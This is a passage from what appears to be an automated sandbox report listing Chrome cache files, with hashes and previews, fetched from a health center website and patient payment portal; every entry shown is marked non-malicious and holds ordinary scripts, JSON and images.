Preview:	.PNG........IHDR...O...8.....D>.%....sRGB...,.....pHYs.................PLTE...M..@..N..N..F.....J..I........G..@..@..K....M..F..U..9.....I..I..Q..G..3..P..U..@..U..K..U........D..M..N..3..@..E..9..N..F..Q..K..Q.....@..G..F..I..@..N..N..G..U..I..I..M..C..F..@..@..N..J..@..9..@....G..Q..D..C..G.V....ItRNS.........................................................................V61P....IDATx...^.F....q....&.ph9.....RRHi7.m...h.!...\|.o^i........FcY~................<.j.?.r.B..i..@6.W..?.Q.(4V.R.>...0....3....w.H.....~.(L$.[x...0.pWg..W.....)..gw.R.F4..Bx...?)..DS..)........Q.S(.).#...../.E.?).....~].*.).C{..P....R.X..=.0.qU.Aa8......<.S.+...a=.Sh/r....)...k..#...),,...1\OW....G..S.K...G..Shs....).}.y...Z...............B..z..r.gG...S..%(T...P."(T....."(T...........2NOa........F.Aa..z"(.6fO.....0..=...p..=.^d..w.....+..>....g..~...v...}&.)L....L.S.....HP.....0A..=....1qO;...[.......{.3.A1A.R......&FO;...k1z..\.p-JO....".T.s..Kqz.sl..R.....X=.....x=...K.z.{...x=.C....K

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42567
Entropy (8bit):	5.326862575741354
Encrypted:	false
SSDEEP:	768:AxOAcAgAAAYATdJFR3B5ptsqBZb5YZrNbGuGmqHp0tE5:AxOPn7/UdJFR3B5ptsqBZb5YZrNbGuGZ
MD5:	632E5BD9AB9A78CBA06D6E623F0D51F5
SHA1:	3AAF80CC736B55D2CF7B58F1BD8BFE4FDC2DD04B
SHA-256:	E0996425D9ADC0444D8CA6C28EF3F7D5599F60BE98594ABE65D22CDD754A643F
SHA-512:	657C3D719A8F95CECA07EC692347DC7155CB416C947470B0A6FE08CEEFBBEC97F78C2E92D8664AD3A33F8E54EDD7790F95B253D024CABDBBF71A6D62BE8FA2D0
Malicious:	false
Reputation:	low
Preview:	{. "kind": "calendar#events",. "etag": "\"p3309hhvvsiroa0o\"",. "summary": "MSBHC Schedule",. "description": "Schedule of the Mobile Bus",. "updated": "2024-04-10T13:49:49.480Z",. "timeZone": "America/New_York",. "accessRole": "reader",. "defaultReminders": [],. "nextSyncToken": "CMCYx__kt4UDEAAYASCUn_SqAiiUn_SqAg==",. "items": [. {. "kind": "calendar#event",. "etag": "\"3318948819022000\"",. "id": "5o1rfp2l6lgjno6m4gkdaetunf_20240424T120000Z",. "status": "confirmed",. "htmlLink": "https://www.google.com/calendar/event?eid=NW8xcmZwMmw2bGdqbm82bTRna2RhZXR1bmZfMjAyNDA0MjRUMTIwMDAwWiBmbGM5ZnE3dHQ5bmxvNTJxaGxjaG9zY3Uzc0Bn&ctz=America/New_York",. "created": "2022-08-02T21:06:49.000Z",. "updated": "2022-08-02T21:06:49.511Z",. "summary": "Turkey Run Elem_8:00am-11:00am",. "creator": {. "email": "mobilevpchc@gmail.com". },. "organizer": {. "email": "flc9fq7tt9nlo52qhlchoscu3s@group.calendar.google.com",. "displayName": "MSBHC Schedule",. "self": true. },.

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	118
Entropy (8bit):	5.351739447116886
Encrypted:	false
SSDEEP:	3:CsJaYzje/FylhJV576eXFRoAop+8Ij+6W7BWn:N7fOIV576KFRoAoQRj+6Bn
MD5:	029F3AA4854B8C66DB1F31DD62A57D04
SHA1:	EFF5D66C01A2D155BE2AB4B4517FC8C2BD809063
SHA-256:	D104BB2B031AC4243DE1598F349115F407AC44057A56619516FAA259579E27F1
SHA-512:	88D6E768CB7CFCA8AA99FBD7ADD8141B6F06B311F7D1BDB39EF544160D12CBA6857AFB33D65CAB1A01D75A136CA5A66815FC3DF5968ED1CE724021E1E83DC07C
Malicious:	false
Reputation:	low
Preview:	GIF89a................VV.............!.......,..........;H...0J....P... .x.....U\F.s .v.*..g.....P._.Y3....s.b$..;

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1538
Entropy (8bit):	5.121730928761434
Encrypted:	false
SSDEEP:	24:YMxPtegisERpK12prl5lR4hmP+AxaF+xAVVL+xA2sUS5wsdlAiV47L3a/:YMZizC12Jl5lR4hm38LVxxxbuMAm4na/
MD5:	6ABA559AFCF8291C518DF6FA4C481556
SHA1:	F0FDC630690835399E64D31948FC49881CF03F95
SHA-256:	53A7946C1525264F5376C9621234F8B15B5742508C8F987506144B88341D5FBE
SHA-512:	CD32DF8C232BC42D0ED0B805DEDEF3B08DC647449CB33A5D8B8CA3AA7E90947911F5FE3CAA0A9AE7A67C47A3DCDC12F3168128DFC13F50D152C2D61321AA8F81
Malicious:	false
Reputation:	low
URL:	https://listgrowth.ctctcdn.com/v1/118aade4e91f193939b45ed0d3280360.json
Preview:	{"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":null,"city":"CLINTON","stateCode":"IN","stateName":null,"postalCode":"47842","countryCode":"us"},"orgWebsite":"null","customPrivacyPolicyUrl":"null","forms":[{"name":"Inline Form Created 2024/02/20, 04:24:59 PM","type":"INLINE","status":"ACTIVE","config":"{\"language\":\"en_US\",\"contactFields\":[{\"type\":\"email_address\",\"selected\":true,\"required\":true,\"customField\":false}],\"emailLists\":[{\"id\":\"b7c927e6-cce0-11ee-840a-fa163edfbcfb\",\"label\":\"Newsletter Form\"}],\"title\":{\"text\":\"Sign up for our newsletter!\",\"color\":\"#0e1e4d\"},\"background\":{\"color\":\"#ffffff\"},\"description\":{\"text\":\"Get news from Valley Professionals in your inbox.\",\"color\":\"#0e1e4d\"},\"button\":{\"text\":\"Sign up!\",\"color\":

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Algol 68 source, ASCII text
Category:	downloaded
Size (bytes):	150941
Entropy (8bit):	4.591309478670465
Encrypted:	false
SSDEEP:	1536:4OpyD1Cb6yVBXfW1vCUUtQQTj06HPU3KQFSNF1T7cbF/nlzUIKHCIioTo3v2BcC:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2BB
MD5:	0941FC7EC3988352C959E5B3DA86F666
SHA1:	F5FF9E6FDCDDB2951851412BC021015B6B59054C
SHA-256:	1FD8C0CFFFD02E40CECBF9F313D1B86988A342D90BB7D16F1A67544F0064EA0B
SHA-512:	5AFDE44D2C0B90BFBF3292B794E80AB6C4E7E653B59E675EB2FEE4F6459C22ED23A00268E0AC48B01E3FAD03D45FFD4CFCC35E3026D16FBFF64BF7F61488412D
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/moment.js
Preview:	//! moment.js..;(function (global, factory) {. typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :. typeof define === 'function' && define.amd ? define(factory) :. global.moment = factory().}(this, (function () { 'use strict';.. var hookCallback;.. function hooks () {. return hookCallback.apply(null, arguments);. }.. // This is done to register the method called with moment(). // without creating circular dependencies.. function setHookCallback (callback) {. hookCallback = callback;. }.. function isArray(input) {. return input instanceof Array \|\| Object.prototype.toString.call(input) === '[object Array]';. }.. function isObject(input) {. // IE8 will treat undefined and null as object if it wasn't for. // input != null. return input != null && Object.prototype.toString.call(input) === '[object Object]';. }.. function isObjectEmpty(obj) {. if (Object.getOw

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.881005488054638
Encrypted:	false
SSDEEP:	3:pIV3VAnaWLgzmSTpdaSCDd:pIVCnaDJaSsd
MD5:	31D0CE74BA4D4B1B9E22E6C9CD5AF29E
SHA1:	8F9F9599B8F110403504BA8289CF5CC29B1A4D60
SHA-256:	DB61F12A02ED70E0BA1A6C961D1F9E7260FA3A5048CCFD64EA99648439E6ABDF
SHA-512:	C97EFD6C6F5683C8908CF65DA526055A35E041382EAB226BE6B4913A9346A6FA9E0EE6C60EA965399079E2C0A8871DFDB9823C30639454CD25ACA775CC69DBA5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQkOE--612N37BIFDWtomm4SBQ1Pnif4EgUNPu8vExIFDaZ_uwA=?alt=proto
Preview:	CjAKCw1raJpuGgQIAxgBCgsNT54n+BoECAUYAQoHDT7vLxMaAAoLDaZ/uwAaBAgNGAE=

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	19885
Entropy (8bit):	3.9222851246917934
Encrypted:	false
SSDEEP:	384:Rld9R09SIx5kGzS75yROkDsoWV26OsNC3vQnSpTmSZDuS2flVWp:TdTESIx5MSoHV2qNk7/DuS2dVWp
MD5:	DE0444852A7B6BD2C15C6EF32A94FE4B
SHA1:	062A19A7DEC1FE09DF6EB4386A12BAF9EEF5CB66
SHA-256:	39CDEA051E5DC16A04531E6666E19FD407625D6A1F6F19E8107459EB23E0B0A7
SHA-512:	686E994D2447C4432301A04D39094060E0945358F01E3FFBC8587C584EFBF5B64F31A618725C32409D2823DAEC6AE08B2082C4B954486916B64B0986CFB2E94F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/06/icon__logo.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Logo</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.466309 38.3749 0.466309C47.9319 0.466309 55.6793 8.21373 55.6793 17.7707C55.6793 27.3276 47.9319 35.075 38.3749 35.075C28.818 35.075 21.0706 27.3276 21.0706 17.7707ZM49.4485 17.7707C49.4485 11.6549 44.4907 6.69708 38.3749 6.69708C32.2592 6.69708 27.3014 11.6549 27.3014 17.7707C27.3014 23.8864 32.2592 28.8442 38.3749 28.8442C44.4907 28.8442 49.4485 23.8864 49.4485 17.7707Z" fill="#2D4590"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.961548 17.7707C0.961548 8.21373 8.70897 0.466309 18.2659 0.466309C27.8228 0.466309 35.5703 8.21373 35.5703 17.7707C35.5703 27.3276 27.8228 35.075 18.2659 35.075C8.70897 35.075 0.961548 27.3276 0.961548 17.7707ZM29.3395 17.7707C29.3395 11.6549 24.3817 6.69708 18.2659 6.69708C12.1501 6.69708 7.19232 11

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 250 x 154, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	24741
Entropy (8bit):	7.985064243241311
Encrypted:	false
SSDEEP:	768:B777ve057qWavN7/8MCsJi5jjoBb0OzlWd:B777vRkNr8dsJiRjib0qU
MD5:	8D3BC51DC8119A5C1222E08219D75493
SHA1:	4665B40F749C8FB1A9444C88E3853348D3E7DF9F
SHA-256:	A0A8E19F5A0FC76D6B60C0EFE816EE8C4FF3E0795A152CA4BCFDCD356BB4DF48
SHA-512:	97C32530CAFF01FD3DA6C3BCE892B2B37CEC0551F251AF9BDAF864E332012A74D52192E8217EA230AEDA598C2DE18B366C154209B09F6A754C416F93368ED9D8
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/fqhc_x2logo.png
Preview:	.PNG........IHDR...............Ug....gAMA......a...@.IDATx......q._.s.....9.. ..L1..JT.,K.}..(..-....>.A...:['[.e+'J...s...s...9....z.HD.],...}3...]]].U]].588..eB.....U1..YYY..R...5..+.......Av....d0...@....m..a............2.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}<.r......F..$.A.x.@...C+g.8.1.a.qO......d.}..`.Y\|..@.M.2a\|a@.Cf.(b.]w.]9.....8.....=Ut.4.N_&_........n....#..Ro..%VVYg.....o9......t.;..1......0..2.I..+s3V1.a.Qm...Ifw..Cg..Gu..0\V?.9......z.....uw..D.ak.....X{k..t..l.....Ee.V..VN...V\Zm..U..[vN^......1.......h..Q...}..g~...2.>..!..t.S.&..&'r.$.1..z....e....h.g.......fo.....7a6..s..g..7..v..8lV.......+..e.[Pfe....J'L........?;'.;......wF1...C.."3.1.....r...9."q\._.u.vKR'.....I}.:...../.Y.@...........7..u.....R...VO.n.....z.g[#.=''..s,.......Zq..@.d4.....CAi.A)/.....w.......0.9h.....E..#..`...t{.>W.{......F.....Aa'gV1r<Bv..^...<...`......N$+..%.C.....4

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1464)
Category:	downloaded
Size (bytes):	1499
Entropy (8bit):	5.1234685852682915
Encrypted:	false
SSDEEP:	24:/QcKBbSuBt1z7r7/YDEHEWcF4mBbFH6Vy/2pqx6+HViR7UbXxvE47YoUk9r:/QlhSuhWQ0hJF9/2E9o7EBvE47YoUk9r
MD5:	CEE4B9C27729851C088C85BD60BE800E
SHA1:	C9F53442A61A221A7BC738B98FD0C098BCC22220
SHA-256:	855E395B5042677367CB70343B370D3DD2DFFD73EE62EAD09BDE853244AB1B1D
SHA-512:	D9B788811D5204A01474ADB20CF5AA6290E978B62B13F07DCFC14DB7FBCF0ACB58575E3F26C9EB74E62FD4FECBD29379C76311D53EA3D868D77CE8749A96EF24
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319
Preview:	/! js-cookie v3.0.0-rc.0 \| MIT /.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e\|\|self,function(){var r=e.Cookies,n=e.Cookies=t();n.noConflict=function(){return e.Cookies=r,n}}())}(this,function(){"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t={read:function(e){return e.replace(/%3B/g,";")},write:function(e){return e.replace(/;/g,"%3B")}};return function r(n,i){function o(r,o,u){if("undefined"!=typeof document){"number"==typeof(u=e({},i,u)).expires&&(u.expires=new Date(Date.now()+864e5*u.expires)),u.expires&&(u.expires=u.expires.toUTCString()),r=t.write(r).replace(/=/g,"%3D"),o=n.write(String(o),r);var c="";for(var f in u)u[f]&&(c+="; "+f,!0!==u[f]&&(c+="="+u[f].split(";")[0]));return document.cookie=r+"="+o+c}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var r

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	200202
Entropy (8bit):	5.540247024150357
Encrypted:	false
SSDEEP:	3072:bvhzgNSNow8VNiAF8p71+TYc2HcbUCQDe5L+aVsQC+6yi:rhewMNqq7ADe5LfV9CN7
MD5:	40B21E44338BBF71F67AEE38C302F7BE
SHA1:	F7ECE627262E8BAC8E01BC374355730E14A09FA4
SHA-256:	8FA2C35C0E58F409FB4DD3DFF4CC555B1E64FFEF67BB31DE71939A03ED52C500
SHA-512:	701C247DB1476E41EB99B061A6D25A9A59A68EA1D7F7CEFCFF7EEE34A39E08FC1D911CD91CCB636DB326220859A21C00A782C54A332D227E10EDE66B1DB06825
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=UA-128496723-1&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"c"}],. "tags":[{"function":"__ogt_1p_data_v2","priority":2,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"","vtp_isAutoCollectPiiEnabledFlag"

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 503 x 413, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	171228
Entropy (8bit):	7.988597475802928
Encrypted:	false
SSDEEP:	3072:A9FJ68qocAWe3b5xO+QVJEI271oRJPZqQLhZcsSUbbCtOsbbbP:Uy8qdAWy5x0VOI2peJPZZLvbS5AsbbbP
MD5:	3CD91F7D2DF734DA4E14CA2B3BE14D88
SHA1:	A49A5681D935270B701012F37A1133926CD33990
SHA-256:	7EBA9657406EE4AC9C9D2FECEA8530BBB63A14BC16E6D3033DEC60DD0FFE0F03
SHA-512:	F26605F0C0081C0CC24A0351A0075337290C64BA9CF0E929CF77575E77D715B87381FFC7F2998D892A47137D36C257F770376D7E45050EEDA4811AE36433F614
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............:.....sBIT....\|.d... .IDATx^...\Wu..z..A.Rk.g[.......`.IH.S.C.7_.}....x/.!..^./...C ..&cf....<..l..V.[R.sWwUuU.._k.sN. ..e.]e............\|.\|.[...}...pgQ.4...............]...@n.r3....8...Tf2....N....x.7.O=>0...3?.R.E.:...0..4.^...wmiQ...//.......`L.....O.D".....d...7.Dn.r3.......3P.y......H9.T.......L..LL..t.........O...........V~>....XB..LH.......:7.....@n.~.f...LV5TH]y....>.7..O\|..?..{.........mk...^[V.....#}./...=Zn.r3......m..6U.+.2.......C?..3......y....../-.+......;3...}n./...g...ym....>7./..li.V..i.K?......5.k..g`aTp.....x>.l_...v..-7......[.6....kn.^Z3p..zi.*i...r.c/....y.sS......W,{.......9i..gis#...\|..s{"7./..ln........n.......\/..8;.o..?..+....<..;6............y...?.._..../7o/...G.K7..[$...<.../.8...........y..%.O<..ny.{...fr.]...O....[...?..L./...m....3p...L.\....o.os@.1.(...y.J..../_...}....~..<./...M............E.c...{Qr.-`.T`w ...^..s0>C3d.fK.9p_.\|.......@KU.\..)..G..g..y...n;.....kn.~.e.........

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	257418
Entropy (8bit):	5.612502396429231
Encrypted:	false
SSDEEP:	3072:QhBRhzgNSNow8VNz2E1d8371+TYc20DCSY1KGoIb1QWDe5L+aVsQCh1omN8LMjFF:efhewMNz23qwhDe5LfV9CjrN8SsAZ
MD5:	E4DE4524973E766449CC8F0B58BAA010
SHA1:	BB242B229E1B601A3768E637440E42F6A23B645B
SHA-256:	8A74D9251F8AABA4420E8EF0F852D553B374FDC60C8C738FBAC60FDD91973AF0
SHA-512:	ABD53AE3337BA82A84C6A05440C9DD3FF0EC515D2E0E28CFE2D928210C4C40B0F49E7237FC114380BDF87CCA0A0A9AEEF1119C409222CBF403FC9FCF8E558F3E
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-9LSM884DML&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":8,"vtp_value":true,"tag_id":16},{"function":"__ogt_referral_exclusion","priority":8,"vtp_includeConditions":["list","valleyprohealth\\.org"],"tag_id":18},{"function":"__ogt_session_timeout","priority":8,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":19},{"function":"__ogt_1p_data_v2","priority":8,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24251
Entropy (8bit):	4.684613127048987
Encrypted:	false
SSDEEP:	192:bCcQ9TVWVQon+T6tOV9bvQMQEOn4hmV47LSZmYKZAKm+PKIK1ANKZQ+dC7lRzBAj:bTr++tCvajGcKiKZKcKlck
MD5:	B1557B2CCAA2A47E6422FAB6BF02BD44
SHA1:	8DB644C004B79AF5DB79A7CF2B731AC732050B6E
SHA-256:	9FD023A71A8D0F18D46FAC2991DC6B5E167D97B78440F829235CA45B249EAB60
SHA-512:	1E5ADF7E402FE87EA3565B824EA93EBA2D927322C7C96971015A6A0B332EAD0BB6EEDA0097172FA2341D99562952C69F4F1EFE28F9B705E29E179EB5AF6B68EF
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/js/common.js
Preview:	$(document).ready(function () { .. //Check if mobile.. checkCopyData();.. checkProfilePage();.. activeBookAptTab();.. .... var patient = $('.patient-carousel, .top-provider-carousel, .most-searched-carousel');.. if(patient.length > 0) {.. patient.owlCarousel({.. loop:false,.. margin:10,.. nav:true,.. autoWidth:true,.. navText:["<span class='nav-btn prev-slide'></span><span class='visually-hidden'>Left</span>","<span class='nav-btn next-slide'></span><span class='visually-hidden'>Right</span>"],.. responsive:{.. 0:{.. items:1.. },.. 600:{.. items:3.. },.. 1000:{.. items:4.. }.. }.. });.. }....patient.on('changed.owl.carousel', function(e) {.. var items = e.page.count; // Number of items 12.. var item = e.page.index; // Position of the current item.. var size = e.page.size; // Number o

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	44
Entropy (8bit):	4.641249800455479
Encrypted:	false
SSDEEP:	3:Iu6CxICkuWth+0hk1:TPkuqZh+
MD5:	F98EDBD8523B3AFE587188AAD583124C
SHA1:	D4E682FED50B049442EDAC5C5A5CD8D6AA372881
SHA-256:	E822B4B4E3C175097EEF9AF6E3134F4753F4678BBC6A46F1892FC32C4B03E74B
SHA-512:	51B46943E736245AE1085700750731564E8CB7153AF771697D2A2D780488F0FDD864FDD71F544FB9A8C7A7F679CF8F3A24F4780F7C2C5F785F055EB02EBC1628
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnYIWIC6uLMHhIFDe5qUokSBQ1TWkfFEhAJVCnATRp0txgSBQ2UkJL6?alt=proto
Preview:	ChIKBw3ualKJGgAKBw1TWkfFGgAKCQoHDZSQkvoaAA==

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2308)
Category:	downloaded
Size (bytes):	211744
Entropy (8bit):	5.569596577683188
Encrypted:	false
SSDEEP:	3072:P1rfcgWcAcqViF52C1MfJGOi0PzuRX2JT7CxFRMd:9LWUMfJJbkY
MD5:	B78A598053844B5AE2D3C1D98851D54A
SHA1:	F75001B57E8D501345F9F6A24BB05B4DA381022D
SHA-256:	C1E457211FAFB84677E66E20FA411E5D6875DFCED5E2E8727615589AA3434D02
SHA-512:	CF62AEE1C839611F664BB1F69150A522E2148A31ADD3BA43D283F71F9E1EB4C2E37470B49D86C7E33385DFB6AE2DC2BD7C76047F4D4523810F6BC0F0CE06BFD4
Malicious:	false
Reputation:	low
URL:	https://translate.googleapis.com/_/translate_http/_/js/k=translate_http.tr.en_US.XZaNfPJSrQM.O/am=AAQ/d=1/exm=el_conf/ed=1/rs=AN8SPfq-S-gm4q6l6Gszidgk6vv3vGuoKQ/m=el_main
Preview:	"use strict";this.default_tr=this.default_tr\|\|{};(function(_){var window=this;.try{.var Jh,Kh,Lh,Th,di,ei,fi,gi,ki,Ph;Jh=function(a){return _.Aa?_.Ba?_.Ba.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1};Kh=function(){return _.v("Firefox")\|\|_.v("FxiOS")};Lh=function(){return _.Ca()?Jh("Chromium"):(_.v("Chrome")\|\|_.v("CriOS"))&&!(_.Ca()?0:_.v("Edge"))\|\|_.v("Silk")};._.Mh=function(){return _.v("Safari")&&!(Lh()\|\|(_.Ca()?0:_.v("Coast"))\|\|_.Da()\|\|(_.Ca()?0:_.v("Edge"))\|\|(_.Ca()?Jh("Microsoft Edge"):_.v("Edg/"))\|\|(_.Ca()?Jh("Opera"):_.v("OPR"))\|\|Kh()\|\|_.v("Silk")\|\|_.v("Android"))};_.Nh=function(){return _.v("Android")&&!(Lh()\|\|Kh()\|\|_.Da()\|\|_.v("Silk"))};_.Oh=function(a){if(a instanceof _.Mc)return a.g;throw Error("A");};_.Qh=function(a){if(Ph.test(a))return a};_.Rh=function(a){return a instanceof _.Mc?_.Oh(a):_.Qh(a)};_.Sh=function(a){return Array.prototype.slice.call(a)};.Th=function(a){return"function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():a};_.Vh=funct

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H5A9inY:a9L
MD5:	7F3EDE7167BBAA4FB86B4F9BBE5D0D1A
SHA1:	E57F3EDD1A84EFF767D5164BFC0EE32CA341B4F9
SHA-256:	3A7E590FC9782FE7AD0D3D926124970EBC55504AFDD230EF7FD6CE3C8C80B1B5
SHA-512:	FAE2B42A1F5E7ED139B1D38D920683D119CC9233323098C36D00AEFC3A49E05A300410976C0C0379CC3242B807193302BA1B664FD6C23D8A094C8B2CC0874C66
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlUKcBNGnS3GBIFDZSQkvo=?alt=proto
Preview:	CgkKBw2UkJL6GgA=

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 591 x 568, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4686
Entropy (8bit):	7.818644839733203
Encrypted:	false
SSDEEP:	96:wSSd/j6Tb2uGv0m7Gi+6okVk5k3AS2xEEUPTF1z:wSe/j6Tb2L76n6lVeS2xDUPj
MD5:	D384E7DBBC2AFFB4FA348FEBBB0C59A0
SHA1:	BEB84E4F11E26343F2F3C9BB097A20239C151427
SHA-256:	8A3971502BC05AFA6CC107FC2B537A5E32018C2CB546F77F5E966BA92B8404DC
SHA-512:	2EA7CDDBABFD30FEF020F51C1F4B7383183EBA52523065592E1EB394BC525019E5A59DE643115BFE6150F44B782015400EB2CD79D5DF660E330FCC860003522D
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/img/paybill-widget-bg.png
Preview:	.PNG........IHDR...O...8.....D>.%....sRGB...,.....pHYs.................PLTE...M..@..N..N..F.....J..I........G..@..@..K....M..F..U..9.....I..I..Q..G..3..P..U..@..U..K..U........D..M..N..3..@..E..9..N..F..Q..K..Q.....@..G..F..I..@..N..N..G..U..I..I..M..C..F..@..@..N..J..@..9..@....G..Q..D..C..G.V....ItRNS.........................................................................V61P....IDATx...^.F....q....&.ph9.....RRHi7.m...h.!...\|.o^i........FcY~................<.j.?.r.B..i..@6.W..?.Q.(4V.R.>...0....3....w.H.....~.(L$.[x...0.pWg..W.....)..gw.R.F4..Bx...?)..DS..)........Q.S(.).#...../.E.?).....~].*.).C{..P....R.X..=.0.qU.Aa8......<.S.+...a=.Sh/r....)...k..#...),,...1\OW....G..S.K...G..Shs....).}.y...Z...............B..z..r.gG...S..%(T...P."(T....."(T...........2NOa........F.Aa..z"(.6fO.....0..=...p..=.^d..w.....+..>....g..~...v...}&.)L....L.S.....HP.....0A..=....1qO;...[.......{.3.A1A.R......&FO;...k1z..\.p-JO....".T.s..Kqz.sl..R.....X=.....x=...K.z.{...x=.C....K

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1536x712, components 3
Category:	dropped
Size (bytes):	221017
Entropy (8bit):	7.982516369039421
Encrypted:	false
SSDEEP:	6144:BjVOJXodCNNH6BFqqKK/ro2WsSrpHAqtB:BjbdCb8qqKKIsO5
MD5:	0D5D6DA0D3EF65D43538D638C0E5F6FE
SHA1:	CD4325168338BEF181675488885ECC004B541A4E
